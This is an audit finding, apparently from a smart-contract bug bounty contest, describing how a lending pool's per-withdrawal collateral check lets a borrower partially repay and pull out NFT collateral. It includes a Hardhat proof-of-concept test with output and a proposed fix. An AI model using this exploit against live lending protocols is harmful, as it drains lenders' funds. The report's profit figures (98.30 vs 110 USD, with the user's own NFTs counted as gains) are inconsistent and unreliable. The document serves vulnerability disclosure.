Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Collateral Withdrawal Manipulation Vulnerability in LendingPool

Summary

The LendingPool contract’s NFT collateral withdrawal design allows an attacker to partially repay debt and then withdraw collateral in such a way that the remaining collateral is insufficient to safely back the outstanding debt. This vulnerability enables a malicious user to manipulate their collateral position, which is contrary to the intended design of maintaining a safe collateralization ratio, and may expose the protocol to undercollateralized positions and increased liquidation risk.

Vulnerability Details

The LendingPool contract permits a scenario where a malicious user, possessing multiple NFTs as collateral, can strategically reduce their outstanding debt through a partial repayment and then withdraw part of their collateral—even when such actions undermine the intended collateralization requirements.

In this scenario, a user with bad debt can “game” the system by:

  • Depositing multiple NFTs as collateral.

  • Borrowing an amount against the total collateral.

  • Partially repaying (e.g., paying only 45% of the debt), thereby reducing nominal debt without proportionally reducing overall risk.

  • Withdrawing a portion of the collateral (for example, withdrawing two out of three NFTs) even though the remaining collateral might not sufficiently cover the residual debt at the required liquidation threshold.

  • The issue stems from the logic used in the withdrawNFT() function. When a user initiates an NFT withdrawal, the contract computes:

    • The total collateral value (sum of the deposited NFTs).

    • The value of the NFT proposed for withdrawal.

    • The user’s debt (scaled with accrued interest) is adjusted by applying the liquidation threshold via the percentMul utility.

// @audit not strict enough
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
  • This evaluates the withdrawal of each NFT independently. This per-withdrawal check may allow a malicious user to withdraw collateral piecewise without considering that subsequent withdrawals further reduce overall collateralization, thereby leaving an undercollateralized position that could become vulnerable if the price of the remaining NFT drops over time.

Proof of Concept: LendingPool Collateral Gaming (3 Months)

This ia a subtle attack, if the attacker knows that one of the NFT he provided as collateral can depreciate based on the market speculation.

Initial Setup

  1. Initial State:

    • User deposits 3 NFTs (each valued at 100 USD, total = 300 USD)

    • User borrows 200 USD against this collateral

    • Protocol enforces 80% liquidation threshold

  2. After 3 Months:

    • Initial debt of 200 USD grows to 201.70 USD (interest accrued)

    • User repays 90 USD (≈45% of original debt)

    • Remaining debt = 111.70 USD

  3. Gaming Steps:

    • User withdraws first NFT:

      • Pre-withdrawal collateral: 300 USD

      • Post-withdrawal collateral: 200 USD

      • Check passes as 200 USD > (111.70 * 1.25)

    • User withdraws second NFT:

      • Pre-withdrawal collateral: 200 USD

      • Post-withdrawal collateral: 100 USD

      • Check passes despite being undercollateralized

  4. Final Position:
    Value Extracted:

    • 200 USD (initial borrowed amount)

    • 200 USD (2 withdrawn NFTs)

    • 90 USD (amount repaid)
      = 310 USD total extracted

    Value Abandoned:

    • 100 USD (1 NFT left as collateral)

    • 111.70 USD (remaining debt)
      = 211.70 USD total abandoned

    Net Profit = 98.30 USD

  5. Key Observations:

    • Protocol loses ~11.70 USD (debt exceeds remaining collateral)

    • Attack more profitable in shorter timeframe due to less interest accrual

    • Remaining NFT likely to depreciate, increasing potential losses

Test

describe.only("Gaming the Lending Pool", function () {
beforeEach(async function () {
// add two more NFT
await raacHousePrices.setHousePrice(2, ethers.parseEther("100"));
await raacHousePrices.setHousePrice(3, ethers.parseEther("100"));
const amountToMint = ethers.parseEther("200");
await token.connect(user1).approve(raacNFT.target, amountToMint);
const amountToPay = ethers.parseEther("100");
// mint 2 NFT to the user 1, they of the same value of 100USD
await raacNFT.connect(user1).mint(2, amountToPay);
await raacNFT.connect(user1).mint(3, amountToPay);
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
const tokenId = 1;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await raacNFT.connect(user1).approve(lendingPool.target, 2);
await raacNFT.connect(user1).approve(lendingPool.target, 3);
// user deposit the 3 NFT's to be able to borrow 200USD that is 66.7% of the collateral
await lendingPool.connect(user1).depositNFT(tokenId);
await lendingPool.connect(user1).depositNFT(2);
await lendingPool.connect(user1).depositNFT(3);
});
it("should allow user to borrow crvUSD and repay 45% amount borrowed after 3 months", async function () {
// Initial Setup - Same as before
const borrowAmount = ethers.parseEther("200");
console.log("\n=== Initial State ===");
console.log(
"Total collateral value:",
ethers.formatEther(
await lendingPool.getUserCollateralValue(user1.address)
),
"USD"
);
console.log(
"Initial user balance:",
ethers.formatEther(await crvusd.balanceOf(user1.address)),
"crvUSD"
);
// Borrow
await lendingPool.connect(user1).borrow(borrowAmount);
console.log("\n=== After Borrowing ===");
console.log(
"Borrowed amount:",
ethers.formatEther(borrowAmount),
"crvUSD"
);
console.log(
"Initial debt:",
ethers.formatEther(await debtToken.balanceOf(user1.address)),
"crvUSD"
);
// Wait 3 months
await ethers.provider.send("evm_increaseTime", [90 * 24 * 60 * 60]);
await ethers.provider.send("evm_mine", []);
await lendingPool.updateState();
console.log("\n=== After 3 Months ===");
const debtBefore = await debtToken.balanceOf(user1.address);
console.log(
"Debt after 3 months:",
ethers.formatEther(debtBefore),
"crvUSD"
);
// Partial Repayment
await lendingPool.connect(user1).repay(ethers.parseEther("90"));
console.log("\n=== After Partial Repayment ===");
const debtAfterRepay = await debtToken.balanceOf(user1.address);
console.log(
"Remaining debt:",
ethers.formatEther(debtAfterRepay),
"crvUSD"
);
// Withdraw NFTs
await lendingPool.connect(user1).withdrawNFT(2);
await lendingPool.connect(user1).withdrawNFT(3);
console.log("\n=== Final Position ===");
console.log(
"Remaining collateral:",
ethers.formatEther(
await lendingPool.getUserCollateralValue(user1.address)
),
"USD"
);
// Calculate Profit
const initialInvestment = ethers.parseEther("300"); // 3 NFTs at 100 each
const finalPosition = {
withdrawnNFTs: ethers.parseEther("200"), // 2 NFTs withdrawn
remainingDebt: debtAfterRepay,
lockedCollateral: ethers.parseEther("100"), // 1 NFT still locked
};
console.log("\n=== Profit Analysis ===");
console.log(
"Assets Extracted:",
ethers.formatEther(finalPosition.withdrawnNFTs),
"USD"
);
console.log(
"Remaining Debt:",
ethers.formatEther(finalPosition.remainingDebt),
"USD"
);
console.log(
"Locked Collateral:",
ethers.formatEther(finalPosition.lockedCollateral),
"USD"
);
const profit = finalPosition.withdrawnNFTs - ethers.parseEther("90"); // Withdrawn NFTs - Repaid amount
console.log(
"Net Profit (excluding locked NFT):",
ethers.formatEther(profit),
"USD"
);
});
});

Output

=== Initial State ===
Total collateral value: 300.0 USD
Initial user balance: 800.0 crvUSD
=== After Borrowing ===
Borrowed amount: 200.0 crvUSD
Initial debt: 200.0 crvUSD
=== After 3 Months ===
Debt after 3 months: 201.702410322604693269 crvUSD
=== After Partial Repayment ===
Remaining debt: 111.702410542465178732 crvUSD
=== Final Position ===
Remaining collateral: 100.0 USD
=== Profit Analysis ===
Assets Extracted: 200.0 USD
Remaining Debt: 111.702410542465178732 USD
Locked Collateral: 100.0 USD
Net Profit (excluding locked NFT): 110.0 USD
✔ should allow user to borrow crvUSD and repay 45% amount borrowed after 3 months

Initial Position:

Deposited: 3 NFTs (300 USD total)
Borrowed: 200 USD

After 3 Months:

Debt grew to: 201.70 USD (interest accrued)
Repaid: 90 USD
Remaining debt: 111.70 USD

Attacker's Profit Calculation:

Value Gained:

  • Initial borrow: 200 USD

  • Retrieved 2 NFTs: 200 USD Total Gained = 400 USD

Value Lost/Abandoned:

  • Repaid: 90 USD
    Left 1 NFT: 100 USD
    Remaining debt: 111.70 USD

  • Total Lost = 301.70 USD
    Net Profit = Value Gained - Value Lost = 400 - 301.70 = 98.30 USD

The attacker profits by:

  • Getting immediate access to 200 USD from borrowing

  • Only repaying 90 USD (45%)

  • Successfully withdrawing 2 NFTs worth 200 USD

  • Defaulting on remaining debt of 111.70 USD

  • Abandoning 1 NFT worth 100 USD

Impact

  • Potential Protocol Insolvency: Sustained gaming may lead to accumulation of bad debt, exposing the protocol to solvency issues.

  • Interest Revenue:

    • Users default on high-interest debt and protocol loses expected interest income

    • Revenue projections become unreliable

  • Increased Risk of Liquidations: With less collateral backing the remaining debt, legitimate liquidators may struggle to accurately trigger liquidations.

  • Economic Model Disruption:

    • Interest accrual becomes meaningless if borrowers can game the system

    • Risk parameters (like liquidationThreshold) become ineffective

    • Protocol's revenue model is undermined

  • Undercollateralized Positions: Permits users to reduce collateral below safe levels, making the system vulnerable if asset prices drop.

Tools Used

Manual code review

Recommendations

Allow only full repayment before NFT can be withdrawn from the protocol

function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
// ... other checks ...
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
//FIX
if (userDebt > 0) {
revert MustRepayDebtBeforeWithdraw();
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!